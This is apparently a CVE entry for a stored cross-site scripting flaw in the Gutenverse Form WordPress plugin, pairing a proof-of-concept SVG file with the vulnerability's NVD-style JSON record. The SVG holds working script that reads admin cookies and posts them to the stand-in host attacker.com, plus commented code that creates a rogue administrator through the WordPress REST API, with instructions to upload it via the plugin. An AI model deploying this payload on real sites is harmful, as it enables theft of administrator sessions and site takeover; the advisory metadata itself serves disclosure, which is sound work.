CVE-2025-14984

<!-- PoC: Malicious SVG file for CVE-2025-14984 --> <!-- This PoC demonstrates the stored XSS vulnerability in Gutenverse Form plugin --> <!-- Upload this file through the plugin's SVG upload functionality --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> // Steal admin cookies and send to attacker-controlled endpoint var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/collect', true); xhr.send('cookies=' + encodeURIComponent(cookies)); // Alternative: Create admin account via WordPress REST API // fetch('/wp-json/wp/v2/users', { // method: 'POST', // headers: { // 'Content-Type': 'application/json', // 'X-WP-Nonce': nonce // Requires nonce enumeration // }, // body: JSON.stringify({ // username: 'hacked_admin', // email: '[email protected]', // roles: ['administrator'] // }) // }); // Display alert for demonstration purposes console.log('XSS Payload Executed - CVE-2025-14984'); </script> <rect width="100%" height="100%" fill="#f0f0f0"/> <text x="50%" y="50%" text-anchor="middle">Malicious SVG File</text> </svg> <!-- Alternative PoC using SVG onload event handler --> <!-- <svg xmlns="http://www.w3.org/2000/svg"> <g onload="alert(document.cookie)"/> </svg> -->

{"cve": {"id": "CVE-2025-14984", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:46.833", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gutenverse Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file upload in all versions up to, and including, 2.3.2. This is due to the plugin's framework component adding SVG to the allowed MIME types via the upload_mimes filter without implementing any sanitization of SVG file contents. This makes it possible for authenticated attackers, with Author-level access and above, to upload SVG files containing malicious JavaScript that executes when the file is viewed, leading to arbitrary JavaScript execution in victims' browsers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gutenverse-form/tags/2.3.2/lib/framework/includes/class-init.php#L169", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutenverse-form/tags/2.3.2/lib/framework/includes/class-init.php#L837", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3427504/gutenverse-form/trunk/lib/framework/includes/class-init.php?old=3395520&old_path=gutenverse-form%2Ftrunk%2Flib%2Fframework%2Fincludes%2Fclass-init.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/792fa6cb-e55a-4f68-b8a8-9039fb1ff694?source=cve", "source": "[email protected]"}]}}